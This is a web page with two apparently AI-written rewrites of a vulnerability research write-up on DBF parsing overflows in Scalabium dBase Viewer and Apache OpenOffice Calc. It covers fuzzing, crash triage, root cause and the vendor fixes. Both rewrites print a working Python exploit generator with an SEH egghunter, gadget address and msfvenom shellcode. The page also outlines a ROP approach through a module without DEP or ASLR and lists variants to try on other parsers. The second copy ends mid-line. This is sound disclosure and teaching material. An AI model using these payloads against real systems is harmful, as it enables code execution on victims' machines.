Skip to content
Memory corruption Write-up Advanced

Picking a Target

The dBase (DBF) file format parsing code in Scalabium dBase Viewer and Apache OpenOffice contained buffer overflows because the record buffer size was determined by one header field (fieldType) while the copy length was taken from another attacker-controlled field (fieldLength). An attacker could craft a malicious DBF file that, when opened, would overwrite the stack and potentially execute arbitrary code.

Eugene Lim Follow

Published on medium.com

Venturing out into the wilderness of vulnerability research can be a daunting task. Coming from a background in primarily web and application security, I had to shift my hacking mindset towards memory corruption vulnerabilities and local attack vectors.

Eugene Lim, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

Context

This is a write-up of a vulnerability research project that started from a simple idea: pick a file format rather than a specific application, then look for memory corruption in the programs that parse it. The format chosen was the dBase database file (DBF), a legacy format created almost 40 years ago that was used as a data storage mechanism for spreadsheet processors, IDEs and other applications. It survives in places such as the shapefile GIS format, and it is still supported by Microsoft Office, LibreOffice and Apache OpenOffice.

The work described here is in two stages. The first stage is dumb fuzzing of small Windows DBF viewers with GitLab's open-source Peach Fuzzer, which produced a crash in Scalabium dBase Viewer and a working proof of concept. The second stage is a source code review of Apache OpenOffice's DBF parsing code, which produced a code execution vulnerability in OpenOffice Calc (CVE-2021-33035). A second part of the series covers coverage-guided fuzzing and other vulnerabilities, including CVE-2021-38646 in the Microsoft Office Access Connectivity Engine.

About that title… From the original on medium.com

About that title…

Setup

The researcher came from a background in web and application security and had to shift towards memory corruption and local attack vectors. The reasoning behind choosing a file format as a target was threefold: file format parsing is a common entrypoint across many applications, common formats are documented by RFCs or open-source code (reducing reverse-engineering effort), and file format fuzzing is simpler to set up than protocol fuzzing.

The format had to meet some criteria. It should not be a ZIP file in disguise such as DOCX, to keep fuzzing templates simple and root cause analysis free of nested containers. It should also be less researched, so that it may have escaped the notice of other researchers. DBF met these criteria, and documentation was easy to find: Wikipedia's description of version 5 of the format, dBase LLC's updated specification, and the Library of Congress file format catalogue.

For the dumb fuzzing stage, the target list came from FileInfo.com's list of programs that open DBF files. The researcher focused on tiny applications whose sole job was to open and display DBF files, rather than complex enterprise applications. The advantages were that dumb fuzzers run the whole application rather than a minimal harness (so fuzzing is faster), that less well-maintained applications are more likely to be vulnerable to format-based exploits, and that crashes can be isolated to the file format parsing logic itself. Only Windows applications were fuzzed, because Windows DBF processors were relatively abundant.

The fuzzer was GitLab's open-source Peach Fuzzer. Peach records and analyses crashes, but compared to modern coverage-based fuzzers that trace execution flow on each iteration, it only instruments execution (via Intel PIN) in its corpus minimisation tool. During fuzzing it mutates test cases based on a template, called a Pit.

Finding it

Building the Peach Pit

Crafting the Peach Pit for the DBF format was the most difficult and time-consuming stage of dumb fuzzing. The format has two main sections: the header and the body. The header contains a prefix describing the dBase version, the last update timestamp and other metadata, and more importantly the length of each record, the length of the header structure, the number of records and the data fields in a record. Fields can be integers, strings, floating numbers or other supported types, and each field includes a FieldLength descriptor. The body contains all the records as described by the header.

To describe the relationship between the number of records in the header and the number of actual records in the body, the researcher used the Relation block. The NumberOfRecords header bytes were specified as:

XML
<Number name="NumberOfRecords" size="32" signed="false"> <Relation type="count" of="Records" /> </Number>

Later in the template, a <Block name="Records" minOccurs=0> block was added in the body. Peach automatically detected this relation and ensured that in subsequent mutations the number of Records blocks matched the NumberOfRecords byte in the header, unless the mutation was intended.

One design decision was how strict the template should be. Peach supports data types such as String and Number, so the record data in the body could have been constrained to correspond to the FieldType descriptions in the header. That might have prevented the fuzzer from discovering interesting crashes, such as a String type provided for an Integer field, so the researcher kept it flexible with a generic <Blob name="RecordData" /> block.

Corpus collection and minimisation

A simple Python script scraped samples using the filetype:dbf Google dork. The samples were triaged and the corpus was minimised with Peach's own tool:

Bash
.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s

This cut the corpus size down from more than 200 to about 20.

Running the fuzzer

Fuzzing itself was started with:

Bash
Z:\peach\Peach.exe .\dbf_pit.xml

Some applications held up well; for others the crashes piled up quickly.

Peach CLI Crashes From the original on medium.com

Peach CLI Crashes

Peach runs WinDBG's !exploitable script on crashes to triage them. One test case caused a structured exception handler (SEH) overwrite crash in Scalabium dBase Viewer.

SEH Crash From the original on medium.com

SEH Crash

Since SEH overwrites are among the easiest to exploit on Windows when no protections are in the way, Peach categorised it as EXPLOITABLE and listed which fields it had mutated for the test case.

Exploitation

Step 1: Reduce the crash to a minimal file

To pinpoint which bytes caused the SEH overwrite, the test case was opened in 010 Editor with a DBF template that highlighted which bytes corresponded to the format's specification. Excess bytes were manually whittled away until a "minimal viable crash" file reproduced the same crash.

Minimal Viable Crash From the original on medium.com

Minimal Viable Crash

The original crash was 18538 bytes; the minimal viable crash file was only 102 bytes. Removing excess bytes in blocks while ensuring the crash was still reproducible isolated the root cause: the field with fieldType of 2.

Step 2: Understand the field type

The fieldType byte defines the data type of the corresponding field in the record, such as C for character, D for date, l for long, and so on. The value 2 was not mentioned in the DBF documentation. Further research turned up the documentation for the FlagShip extension to the dBase database format, which included a 2 data type:

FlagShip DBF Data Types From the original on medium.com

FlagShip DBF Data Types

This suggested that the overflow occurred because an overly large buffer was copied into the short int buffer of size 2.

Step 3: Confirm the overwrite in WinDBG

The crash was inspected in WinDBG:

Text
(173c.21c): Access violation — code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000 edi=02214628 eip=0046619c esp=00197974 ebp=0019faa4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 dbfview+0x6619c: 0046619c 8b4358 mov eax,dword ptr [ebx+58h] ds:002b:41414199=???????? 0:000> !exchain 0019798c: dbfview+6650f (0046650f) 0019faac: 42424242 Invalid exception stack at 41414141 0:000> dd 0019faac-0x20 0019fa8c 00000000 41414141 41414141 41414141 0019fa9c 41414141 41414141 41414141 41414141 0019faac 41414141 42424242 0019fb40 0019fb48 0019fabc 004676e7 0019fb40 004c1c10 00000002 0019facc 02214628 00000000 02214744 00000000 0019fadc 00000000 0019fb48 004082ef 02214744 0019faec 80000000 00000003 00000000 00000003 0019fafc 00000080 00000000 4c505845 0054494f

The controlled buffer of size 36 (as specified in fieldLength in the 010 Editor template) had been copied byte for byte into the short int buffer, which led to the SEH overwrite. The application blindly trusted the attacker-controlled fieldLength when copying bytes into a pre-allocated buffer whose size was determined by the attacker-controlled fieldType. The result was a straightforward buffer overflow with no special character requirements.

Step 4: Check memory protections

Before exploitation, one final check with narly:

Text
0:000> !nmod 00400000 0051e000 dbfview /SafeSEH OFF C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe

dbfview had no protections.

Step 5: Generate the proof-of-concept payload

A short script generated the payload:

Python
from struct import pack  # SEH-based egghunter with egg w00tw00t egghunter = b”\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"   # dbase header payload = b’\x03' # dbase version number payload += b’\x01\x01\x01' # last update date payload += pack(‘<i’, 1) # number of records payload += pack(‘<h’, 65) # number of records payload += pack(‘<h’, 4095) # length of each record payload += 20 * b’\x00' # reserved bytes  # field definition payload += pack(‘11s’, b’EXPLOIT’) # field name payload += b’2' # field type (short integer) payload += 4 * b’\x00' # field data address (can be null) payload += pack(‘B’, 255) # field size (change accordingly) payload += 15 * b’\x00' # reserved bytes payload += b’\x0D’ # terminator character  # record definition payload += b’\x20' # deleted flag payload += 28 * b’\x90' # offset # payload += 4 * b’\x41' # offset payload += pack(“<L”, (0x909006eb)) # JMP 06 payload += pack(“<L”, (0x00457886)) # dbfview: pop edi; pop esi; ret payload += egghunter  payload += b’w00tw00t’ # egg  # msfvenom -p windows/exec CMD=calc -f python -v payload payload += b”\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64" payload += b”\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28" payload += b”\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c” payload += b”\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" payload += b”\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" payload += b”\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49" payload += b”\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" payload += b”\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" payload += b”\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b” payload += b”\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" payload += b”\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a” payload += b”\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00" payload += b”\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" payload += b”\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c” payload += b”\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a” payload += b”\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"  with open(‘payload.dbf’, ‘wb’) as w: w.write(payload)

Opening the generated file in dbfview.exe popped Calc.

Proof of Concept for Scalabium dBase Viewer From the original on medium.com

Proof of Concept for Scalabium dBase Viewer

Source Code Review of Apache OpenOffice

The dumb fuzzing stage taught a general lesson about the format: the buffer size of a record can be determined either by the fieldLength or by the fieldType in the header. If a programmer blindly trusts one of them when allocating a buffer but uses the other to determine the size of a copy into that buffer, a buffer overflow follows.

Since open-source projects such as Apache OpenOffice support DBF files, the researcher reviewed OpenOffice's DBF parsing code and found this:

Text
else if ( DataType::INTEGER == nType ) { sal_Int32 nValue = 0; memcpy(&nValue, pData, nLen); *(_rRow->get())[i] = nValue; }

A buffer nValue of size sal_Int32 (4 bytes) is instantiated for a field of type INTEGER. memcpy then copies a buffer of size nLen, an attacker-controlled value, into nValue without validating that nLen is smaller than or equal to 4. The pattern was repeated across various data types.

The previous payload generator was modified to use the integer field type (I) and a fieldLength greater than sal_Int32, and the file was opened in OpenOffice Calc. It crashed.

Step 1: Work around the protections

The initial crash resulted in an SEH overwrite, but the SEH chain refused to execute. The soffice binary had Safe Exception Handlers (SAFESEH), address space layout randomization (ASLR) and Data Execution Prevention (DEP), which prevented simple exploitation.

Tracing back from the initial exception, it was triggered by a validation check earlier in the execution flow:

Text
0:000> p eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60 edi=084299b9 eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 dbase+0x16920: 08c56920 e862c6feff call dbase+0x2f87 (08c42f87) 0:000> u dbase+0x2f87 L12 dbase+0x2f87: 08c42f87 55 push ebp 08c42f88 8bec mov ebp,esp 08c42f8a 56 push esi 08c42f8b 8bf1 mov esi,ecx 08c42f8d 8b4610 mov eax,dword ptr [esi+10h] 08c42f90 2b460c sub eax,dword ptr [esi+0Ch] 08c42f93 57 push edi 08c42f94 8b7d08 mov edi,dword ptr [ebp+8] 08c42f97 c1f802 sar eax,2 08c42f9a 3bf8 cmp edi,eax 08c42f9c 7206 jb dbase+0x2fa4 (08c42fa4) 08c42f9e ff1588b0c608 call dword ptr [dbase!GetVersionInfo+0x9176 (08c6b088)] 08c42fa4 8b460c mov eax,dword ptr [esi+0Ch] 08c42fa7 8d04b8 lea eax,[eax+edi*4] 08c42faa 5f pop edi 08c42fab 5e pop esi 08c42fac 5d pop ebp 08c42fad c20400 ret 4

The exception was triggered if the cmp edi,eax check failed. Dynamic analysis determined the offset in the payload that was being evaluated, and it was set to 00000001 to pass the check. This time a different exception occurred: an invalid instruction exception. That was a good sign that a return pointer on the stack had been overwritten and execution flow could be controlled again, which was confirmed in WinDBG.

Step 2: Find a module without DEP and ASLR

A DEP and ASLR bypass was still needed to start a return-oriented programming chain. The protections of the loaded modules were checked with narly:

Text
0:011> !nmod 00110000 00b9c000 soffice /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\soffice.bin 03e20000 04b67000 icudt40 NO_SEH C:\Program Files\OpenOffice 4\program\icudt40.dll 4de60000 4df58000 libxml2 /SafeSEH ON /GS C:\Program Files\OpenOffice 4\program\libxml2.dll 50040000 50097000 scui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\scui.DLL 500a0000 502d3000 sb /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\sb.dll 50360000 50395000 forui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\forui.dll 503a0000 503e1000 uui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\uui.dll 50470000 504bf000 ucpfile1 /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\ucpfile1.dll 504c0000 5053a000 configmgr_uno /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\configmgr.uno.dll

Among the modules, libxml2 was still compiled without DEP or ASLR protections, so it could be used as a source of ROP gadgets.

Step 3: Fit the chain into the buffer

All possible ROP gadgets were dumped with 0vercl0k's rp tool. A problem appeared quickly: no matter how fieldLength was set, the overwritten buffer appeared to be limited to about 256 bytes. That precluded a traditional GetModuleHandleA > GetProcAddress > VirtualProtect chain, so the chain had to be made smaller. Three optimisations were applied:

  1. The final VirtualProtect skeleton was moved before the ROP chain in the buffer, giving a little more room for the gadgets.
  2. For the stack pivot, a hard-coded add esp, 0x0C ; ret ; gadget was used, so the offset did not have to be created dynamically in the chain.
  3. For the proof of concept, WinExec was loaded directly to pop calc, reducing the number of function calls needed.

With these changes the proof of concept worked:

Proof of Concept for Apache OpenOffice Calc

Root cause

The bug is a classic length mismatch. In the DBF header, the size of a record's buffer can be determined either by fieldLength or by fieldType. The OpenOffice code allocates nValue as a sal_Int32 (4 bytes) for an INTEGER field, but then copies nLen bytes into it, where nLen comes from the attacker-controlled fieldLength, with no check that nLen is at most 4. The same pattern was repeated across various data types. In the Scalabium case, the application trusted the attacker-controlled fieldLength when copying into a buffer whose size was determined by the attacker-controlled fieldType (the FlagShip 2 short integer type), producing a straightforward overflow with no special character requirements.

On the OpenOffice side, the binary's SAFESEH, ASLR and DEP did not stop the overflow itself; they only made exploitation harder. The bypass came from libxml2, which was still compiled without DEP or ASLR and therefore supplied usable gadgets. The researcher notes that OpenOffice, as an open-source project, would likely have been scanned by static code analysers, which would have easily picked up the unsafe memcpy. On lgtm.com, a code analysis platform that runs CodeQL tests on open-source projects, OpenOffice was tagged as a Python and JavaScript project:

LGTM OpenOffice From the original on medium.com

LGTM OpenOffice

Since CodeQL requires the scanner to build a database of the relevant source code, it would have missed these vulnerabilities if OpenOffice's C++ code had been excluded while building the database. Browsing the files on LGTM, the researcher noticed that no C++ files were included. The lesson drawn is to sanity-check automated static analysis tools: if the tools do not know the code exists, they cannot find the vulnerabilities.

Impact

In Scalabium dBase Viewer, opening a crafted DBF file led to code execution, demonstrated by popping Calc. In Apache OpenOffice Calc, opening a crafted DBF file led to code execution as well, in software that the researcher says was downloaded more than 300 million times.

Fix

Scalabium dBase Viewer was acknowledged and patched within two days (CVE-2021-35297). Apache released new packages that patched the vulnerability and updated the source code on GitHub to perform buffer size checking. For example, the integer type now ensures that nLen equals 4:

Text
else if ( DataType::INTEGER == nType ) { OSL_ENSURE(nLen == 4, “Invalid length for integer field”); if (nLen != 4) { return false; } sal_Int32 nValue = 0; memcpy(&nValue, pData, nLen); *(_rRow->get())[i] = nValue; }

Disclosure timeline

The researcher notes that disclosure for native applications runs on a very different cadence from web bug bounties, where patches can be deployed in days or weeks. Development cycles for widely used native applications can be on the order of months, and in some cases vendors did not have a dedicated security disclosure contact or listed an inactive email.

Scalabium dBase Viewer (CVE-2021-35297)

  • Jun 7: Initial disclosure
  • Jun 9: Acknowledgement and patch
  • Aug 17: CVE assigned

Apache OpenOffice (CVE-2021-33035)

  • 4 May: Initial disclosure
  • 5 May: Acknowledgement
  • 6 May: Request for disclosure/patch timeline
  • 12 May: 2nd request for disclosure/patch timeline
  • 19 May: 3rd request for disclosure/patch timeline
  • 21 May: Apache request for 30 Aug disclosure date and patch verification; CVE assigned
  • 21 May: Verified patch and agreed to 30 Aug disclosure date
  • 22 Jul: Request to re-confirm 30 Aug disclosure date
  • 26 Jul: Apache re-confirmed 30 Aug disclosure date
  • 28 Aug: Notify about 18 Sep full disclosure
  • 18 Sep: Full disclosure

Variants to test

  1. Other DBF field types in OpenOffice. The report says the unsafe pattern was repeated across various data types. Try each field type with a fieldLength larger than the destination buffer for that type, and look for a crash in Calc when opening the file.
  2. Other DBF processors. The core mismatch, fieldLength versus fieldType, applies to any program that parses DBF. Feed a file with a small fieldType and a large fieldLength to other viewers and spreadsheet applications; a positive result is a crash whose root cause traces back to the field definition.
  3. FlagShip extension types. The 2 short integer type was undocumented in the main DBF specification but present in the FlagShip extension. Try other extension types from that documentation against DBF parsers; a positive result is a crash or an unexpected code path in the parser.
  4. Modules without DEP and ASLR. On any Windows target, run narly's !nmod against the loaded modules and look for a module with neither *ASLR nor *DEP, as libxml2 was here. A positive result gives a gadget source for a ROP chain even when the main binary is protected.
  5. Static analysis coverage. For an open-source target, check how it is indexed by code analysis platforms. If the project is tagged with the wrong languages and its native code is excluded from the database, the analyser will not have flagged unsafe calls such as the memcpy above.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

A security researcher who normally tested websites decided to learn a different kind of security work: finding bugs in the programs that open files on your own computer. The idea was simple. Instead of picking one program and staring at it, pick one file format (the way data is arranged inside a file, like the layout of a form) and then try that format against many programs that read it. If a program reads a file carelessly, a malformed file can make it crash, and sometimes a crash can be turned into running the attacker's own code.

The format chosen was the dBase database file, usually called DBF. It is a very old format, created almost 40 years ago, used to store tables of data for spreadsheet programs, development tools and other software. It is still supported by Microsoft Office, LibreOffice and Apache OpenOffice, and it even appears inside the shapefile format used for maps.

The work happened in two stages. First, the researcher used a tool called a fuzzer to throw thousands of slightly broken DBF files at small Windows programs that open DBF files. That produced a crash in a program called Scalabium dBase Viewer, which was turned into a working demonstration that made the Windows calculator appear. Second, the researcher read the source code (the human-written instructions) of Apache OpenOffice, found the same kind of mistake, and turned it into code execution in OpenOffice Calc. That bug is tracked as CVE-2021-33035. A follow-up article covers a different technique and other bugs, including CVE-2021-38646 in Microsoft Office.

About that title… From the original on medium.com

About that title…

Why pick a file format instead of a program

The researcher came from a background in web and application security, so memory corruption and attacks that happen on the victim's own machine were new territory. Choosing a file format as the target had three practical advantages:

  1. It is a shared front door. Many different programs read the same format, so one set of test files can be tried against many programs.
  2. It is documented. Common formats are described in public documents called RFCs (Request for Comments, the formal documents the internet uses to define standards) or in open-source code, so you do not have to reverse-engineer the layout from scratch.
  3. It is easier to set up. Fuzzing a file is simpler than fuzzing a network conversation between two machines.

The format also had to meet some criteria. It should not be a ZIP file in disguise, the way a DOCX file is really a ZIP archive full of other files, because nested containers make the test templates and the later analysis much more complicated. It should also be less researched, so that it may have escaped the notice of other researchers. DBF met both criteria, and documentation was easy to find: Wikipedia's description of version 5 of the format, dBase LLC's updated specification, and the Library of Congress file format catalogue.

For the first stage, the list of candidate programs came from FileInfo.com's list of programs that open DBF files. The researcher focused on tiny applications whose only job is to open and display DBF files, rather than large business applications. There were three reasons:

  • A dumb fuzzer (a fuzzer that just runs the whole program over and over) is much faster when the program is small, because it does not need a special minimal test harness.
  • Less well-maintained programs are more likely to be vulnerable to malformed files.
  • If a crash happens, it can be pinned on the file-reading code itself rather than on some unrelated part of a big application.

Only Windows programs were tested, because Windows DBF readers were relatively plentiful.

The fuzzer was GitLab's open-source Peach Fuzzer. Peach records and analyses crashes, but compared with modern coverage-based fuzzers, which watch which parts of a program each test file reaches, Peach only instruments execution (through a tool called Intel PIN) in its tool for shrinking the collection of sample files. During the actual fuzzing it mutates test cases based on a template, called a Pit.

Finding it

Building the Peach Pit

A Pit is the template that tells Peach what a valid file looks like, so that it can produce slightly broken versions. Building the Pit for DBF was the most difficult and time-consuming part of the first stage.

The DBF format has two main sections: the header and the body. Think of the header as the label on a box and the body as the contents. The header contains a prefix describing the dBase version, the last update timestamp and other metadata, and, more importantly, the length of each record, the length of the header structure, the number of records and the data fields in a record. Fields can be integers, strings, floating numbers or other supported types, and each field includes a FieldLength descriptor saying how long it is. The body contains all the records as described by the header.

To describe the relationship between the number of records announced in the header and the number of actual records in the body, the researcher used the Relation block. The NumberOfRecords header bytes were specified as:

XML
<Number name="NumberOfRecords" size="32" signed="false"> <Relation type="count" of="Records" /> </Number>

Line by line:

  • <Number name="NumberOfRecords" size="32" signed="false"> declares a number field called NumberOfRecords, 32 bits wide, and not negative. This is the header slot that says how many records the file claims to contain.
  • <Relation type="count" of="Records" /> tells Peach that this number is a count of the Records blocks that appear later in the template.
  • </Number> closes the declaration.

Later in the template, a <Block name="Records" minOccurs=0> block was added in the body. Peach automatically detected this relation and ensured that in later mutations the number of Records blocks matched the NumberOfRecords byte in the header, unless the mutation was intended. In everyday terms: if the label says there are ten items in the box, Peach makes sure the box really holds ten items, so that the only changes it introduces are the ones it means to introduce.

One design decision was how strict the template should be. Peach supports data types such as String and Number, so the record data in the body could have been forced to match the FieldType descriptions in the header. That might have stopped the fuzzer from finding interesting crashes, such as a String value placed in a field the header calls an Integer. So the researcher kept it flexible with a generic <Blob name="RecordData" /> block. A blob is just a lump of raw bytes with no assumed meaning, which gives the fuzzer freedom to try odd combinations.

Collecting and shrinking the sample files

A simple Python script scraped sample files using the filetype:dbf Google dork. A Google dork is a search query that uses special operators to find particular kinds of files on the web; here it finds DBF files that are publicly indexed. The samples were then triaged (looked over and sorted) and the collection was shrunk with Peach's own tool:

Bash
.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s

What each part does:

  • .\PeachMinset.exe runs Peach's minimisation tool from the current folder.
  • -s samples says the starting collection of sample files is in the folder called samples.
  • -m minset asks for a minimal set: the smallest group of samples that still exercises the same behaviour.
  • -t traces tells the tool to use execution traces (records of which code ran) to decide which samples are redundant.
  • "<PATH TO FUZZING TARGET>" is a placeholder for the program being tested.
  • %s is where the tool substitutes each sample file name.

This cut the collection from more than 200 files to about 20. Fewer, more varied samples mean the fuzzer spends less time re-testing the same code paths.

Running the fuzzer

Fuzzing itself was started with:

Bash
Z:\peach\Peach.exe .\dbf_pit.xml
  • Z:\peach\Peach.exe is the fuzzer program, stored on drive Z.
  • .\dbf_pit.xml is the template file in the current folder that describes the DBF format.

Some applications held up well; for others the crashes piled up quickly.

Peach CLI Crashes From the original on medium.com

Peach CLI Crashes

Peach runs WinDBG's !exploitable script on crashes to triage them. WinDBG is Microsoft's debugger, a tool that lets you pause a program and inspect its memory; !exploitable is an add-on that looks at a crash and gives a rough verdict on whether it could be turned into an attack. One test case caused a structured exception handler (SEH) overwrite crash in Scalabium dBase Viewer.

A structured exception handler is Windows' built-in safety net: when a program hits an error, Windows looks up a list of handlers (functions that might deal with the error) and calls one. That list is stored on the program's stack (a region of memory used for temporary bookkeeping). If an attacker can overwrite the list, they can make Windows jump to an address of their choosing when the error happens. That is why an SEH overwrite is considered dangerous.

SEH Crash From the original on medium.com

SEH Crash

Since SEH overwrites are among the easiest bugs to exploit on Windows when no protections are in the way, Peach categorised it as EXPLOITABLE and listed which fields it had mutated for the test case. That list is a strong hint about where in the file the problem lies.

Turning the crash into running code

Step 1: Reduce the crash to a minimal file

To pinpoint which bytes caused the SEH overwrite, the test case was opened in 010 Editor, a hex editor that shows a file as raw bytes, with a DBF template that highlighted which bytes corresponded to the format's specification. Excess bytes were manually whittled away until a "minimal viable crash" file reproduced the same crash. The logic is the same as debugging a recipe: remove ingredients one at a time until removing any more stops the cake from rising, and you have found the essential one.

Minimal Viable Crash From the original on medium.com

Minimal Viable Crash

The original crash file was 18538 bytes; the minimal viable crash file was only 102 bytes. Removing excess bytes in blocks while ensuring the crash was still reproducible isolated the root cause: the field with fieldType of 2.

Step 2: Understand the field type

The fieldType byte defines the data type of the corresponding field in the record, such as C for character, D for date, l for long, and so on. The value 2 was not mentioned in the DBF documentation. Further research turned up the documentation for the FlagShip extension to the dBase database format, which included a 2 data type:

FlagShip DBF Data Types From the original on medium.com

FlagShip DBF Data Types

This suggested that the overflow happened because an overly large buffer was copied into the short int buffer of size 2. A buffer is a fixed-size area of memory set aside to hold data; copying more into it than it can hold spills over into whatever sits next to it, which is the essence of a buffer overflow.

Step 3: Confirm the overwrite in WinDBG

The crash was inspected in WinDBG:

Text
(173c.21c): Access violation — code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000 edi=02214628 eip=0046619c esp=00197974 ebp=0019faa4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 dbfview+0x6619c: 0046619c 8b4358 mov eax,dword ptr [ebx+58h] ds:002b:41414199=???????? 0:000> !exchain 0019798c: dbfview+6650f (0046650f) 0019faac: 42424242 Invalid exception stack at 41414141 0:000> dd 0019faac-0x20 0019fa8c 00000000 41414141 41414141 41414141 0019fa9c 41414141 41414141 41414141 41414141 0019faac 41414141 42424242 0019fb40 0019fb48 0019fabc 004676e7 0019fb40 004c1c10 00000002 0019facc 02214628 00000000 02214744 00000000 0019fadc 00000000 0019fb48 004082ef 02214744 0019faec 80000000 00000003 00000000 00000003 0019fafc 00000080 00000000 4c505845 0054494f

What the important parts mean:

  • Access violation — code c0000005 is Windows saying the program tried to read or write memory it is not allowed to touch. That is the crash.
  • eax=001979d0 ebx=41414141 ... edx=41414141 shows the contents of the processor's registers, its tiny built-in storage slots.
  • dbfview+0x6619c: 0046619c 8b4358 mov eax,dword ptr [ebx+58h] is the instruction that failed: it tries to read from the address held in ebx plus 58h, and ebx holds 41414141, which is not a real address.
  • !exchain lists the exception handler chain. It shows 42424242 (the letters BBBB) where a handler address should be, and Invalid exception stack at 41414141. In plain words: the safety net has been overwritten with the researcher's letters.
  • dd 0019faac-0x20 dumps memory around that spot, showing rows of 41414141 and 42424242.

The controlled buffer of size 36 (as specified in fieldLength in the 010 Editor template) had been copied byte for byte into the short int buffer, which led to the SEH overwrite. The application blindly trusted the attacker-controlled fieldLength when copying bytes into a pre-allocated buffer whose size was determined by the attacker-controlled fieldType. The result was a straightforward buffer overflow with no special character requirements, meaning the attacker does not have to avoid any particular bytes.

Step 4: Check memory protections

Before exploitation, one final check with narly, a WinDBG add-on that reports which safety features each loaded module was built with:

Text
0:000> !nmod 00400000 0051e000 dbfview /SafeSEH OFF C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
  • !nmod is the narly command that lists module protections.
  • 00400000 0051e000 are the start and end addresses of the module in memory.
  • dbfview is the module name.
  • /SafeSEH OFF says the safe exception handler feature is switched off, so the old, easily hijacked handler chain is in use.
  • The path at the end is the file on disk.

dbfview had no protections.

Step 5: Generate the proof-of-concept payload

A short script generated the payload:

Python
from struct import pack  # SEH-based egghunter with egg w00tw00t egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"   # dbase header payload = b'\x03' # dbase version number payload += b'\x01\x01\x01' # last update date payload += pack('<i', 1) # number of records payload += pack('<h', 65) # number of records payload += pack('<h', 4095) # length of each record payload += 20 * b'\x00' # reserved bytes  # field definition payload += pack('11s', b'EXPLOIT') # field name payload += b'2' # field type (short integer) payload += 4 * b'\x00' # field data address (can be null) payload += pack('B', 255) # field size (change accordingly) payload += 15 * b'\x00' # reserved bytes payload += b'\x0D' # terminator character  # record definition payload += b'\x20' # deleted flag payload += 28 * b'\x90' # offset # payload += 4 * b'\x41' # offset payload += pack("<L", (0x909006eb)) # JMP 06 payload += pack("<L", (0x00457886)) # dbfview: pop edi; pop esi; ret payload += egghunter  payload += b'w00tw00t' # egg  # msfvenom -p windows/exec CMD=calc -f python -v payload payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64" payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28" payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c" payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" payload += 